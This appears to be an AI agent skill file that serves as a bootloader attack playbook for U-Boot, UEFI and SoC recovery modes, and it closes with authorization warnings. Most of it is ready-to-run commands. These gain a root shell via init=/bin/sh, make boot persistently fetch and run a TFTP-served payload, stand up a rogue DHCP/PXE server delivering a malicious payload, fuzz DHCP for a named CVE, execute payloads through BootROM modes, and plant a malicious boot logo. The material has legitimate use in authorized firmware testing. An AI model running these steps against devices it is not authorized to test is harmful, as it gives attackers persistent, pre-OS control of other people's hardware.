| name | bootloader-testing |
| description | Security testing for bootloaders including U-Boot, UEFI, and SoC ROM recovery modes. Use this skill whenever you need to test device startup configurations, assess secure boot protections, exploit bootloader vulnerabilities, or perform firmware security assessments. Trigger this skill for any bootloader analysis, U-Boot environment manipulation, UEFI/ESP tampering, network boot testing, or SoC recovery mode exploitation tasks. |
Bootloader Security Testing
A comprehensive skill for testing and exploiting bootloader vulnerabilities in embedded and PC-class systems.
When to use this skill
Use this skill when you need to:
- Test U-Boot environments and modify boot configurations
- Assess secure boot and signature verification mechanisms
- Exploit network boot vulnerabilities (DHCP/PXE)
- Leverage SoC ROM recovery modes for early code execution
- Test UEFI/ESP tampering and rollback protections
- Perform firmware security assessments on embedded devices
U-Boot Testing
Access the U-Boot Shell
Interrupt the boot process to gain access to the U-Boot interpreter:
-
Break into U-Boot: During boot, press a key before bootcmd executes. Common break keys:
- Any key (if
bootdelay > 0)
- Spacebar
0
- Board-specific magic sequences
-
Inspect boot state:
printenv
bdinfo
help bootm
help booti
help bootz
help ext4load
help fatload
help tftpboot
Modify Boot Arguments for Root Shell
Gain a root shell by modifying kernel boot arguments:
printenv
setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=ext4 init=/bin/sh'
saveenv
boot
run bootcmd
Network Boot from TFTP Server
Configure the device to boot from your TFTP server:
setenv ipaddr 192.168.2.2
setenv serverip 192.168.2.1
setenv netmask 255.255.255.0
saveenv
reset
ping ${serverip}
tftpboot ${loadaddr} zImage
tftpboot ${fdt_addr_r} devicetree.dtb
setenv bootargs "${bootargs} init=/bin/sh"
booti ${loadaddr} - ${fdt_addr_r}
Persist Boot Control
If environment storage is writable, establish persistent control:
setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}'
saveenv
printenv | grep -E 'bootcount|bootlimit|altbootcmd|boot_targets'
setenv bootcount 0
setenv bootlimit 1
setenv altbootcmd 'tftpboot ${loadaddr} payload.bin; bootm ${loadaddr}'
saveenv
Check for Debug/Unsafe Features
Look for these indicators of weak security:
printenv | grep bootdelay
printenv | grep autoboot
usb start
fatload usb 0:1 ${loadaddr} test.bin
loady ${loadaddr}
loads ${loadaddr}
env import -t ${loadaddr}
printenv | grep -i verify
Test FIT Image Verification
If the platform claims secure boot with FIT images:
tftpboot ${loadaddr} fit-unsigned.itb
bootm ${loadaddr}
tftpboot ${loadaddr} fit-signed-badhash.itb
bootm ${loadaddr}
tftpboot ${loadaddr} fit-signed.itb
bootm ${loadaddr}
printenv | grep -i fit
Network Boot Vulnerability Testing
DHCP/PXE Parameter Fuzzing
U-Boot's DHCP handling has had memory-safety issues. Test with crafted responses:
python3 scripts/dhcp_fuzzer.py --interface eth0 --target-mac aa:bb:cc:dd:ee:ff
The script tests:
- Oversized bootfile-name (option 67)
- Malformed vendor options
- Edge-case DHCP parameters
- Memory disclosure attempts (CVE-2024-42040)
Rogue DHCP Server Testing
Set up a rogue DHCP/PXE service to test command injection:
dnsmasq --dhcp-range=192.168.2.100,192.168.2.200 \
--dhcp-boot=malicious-payload.bin \
--dhcp-option=option:vendor-class-id,"$(python3 -c "print('A'*240)")" \
--interface=eth0
use auxiliary/server/dhcp
set SRVHOST 192.168.2.1
set BOOTFILE malicious.bin
run
SoC ROM Recovery Modes
Many SoCs expose BootROM modes that execute code over USB/UART before flash verification:
NXP i.MX (Serial Download Mode)
uuu -v -b u-boot.imx
imx-usb-loader u-boot.imx
imx-usb-loader -b 0x80000000 payload.bin
Allwinner (FEL Mode)
sunxi-fel -v uboot u-boot-sunxi-with-spl.bin
sunxi-fel write 0x4A000000 payload.bin
sunxi-fel exe 0x4A000000
sunxi-fel dump 0x40000000 0x1000000 dump.bin
Rockchip (MaskROM Mode)
rkdeveloptool db loader.bin
rkdeveloptool ul u-boot.bin
rkdeveloptool wf u-boot.bin
Critical: Check if secure-boot eFuses/OTP are burned. If not, BootROM modes bypass all higher-level verification.
UEFI/PC-Class Bootloader Testing
ESP Tampering and Rollback
mount /dev/sdX1 /mnt/efi
ls -la /mnt/efi/EFI/BOOT/
ls -la /mnt/efi/EFI/Microsoft/Boot/
ls -la /mnt/efi/EFI/ubuntu/
Boot Logo Parsing Vulnerabilities (LogoFAIL)
Test for image parsing bugs in boot logo handling:
ls -la /mnt/efi/EFI/*/logo/
ls -la /mnt/efi/EFI/*/images/
cp malicious_logo.bmp /mnt/efi/EFI/<vendor>/logo/
Environment Manipulation Techniques
Export/Import Environment Blobs
env export -t ${loadaddr}
env import -t ${loadaddr}
md ${loadaddr} 0x1000 > env_dump.txt
Linux Boot Partition Persistence
For systems using extlinux:
mount /dev/mtdblockX /mnt/boot
fw_printenv/fw_setenv Validation
/etc/fw_env.config
cat /proc/mtd
fw_printenv
fw_setenv test_key test_value
Safety Warnings
⚠️ Hardware Caution:
- Be extremely careful when grounding SPI/NAND flash pins
- Consult flash datasheets before any hardware manipulation
- Mistimed shorts can permanently corrupt devices
- Always work on isolated lab networks for network boot testing
⚠️ Legal Considerations:
- Only test devices you own or have explicit authorization to test
- Document all testing activities
- Restore devices to original state after testing
Quick Reference Commands
printenv
setenv <key> <value>
saveenv
reset
boot
setenv ipaddr <ip>
setenv serverip <ip>
tftpboot ${loadaddr} <file>
fatload usb 0:1 ${loadaddr} <file>
ext4load mmc 0:1 ${loadaddr} <file>
md <addr> <count>
mw <addr> <count> <value>
References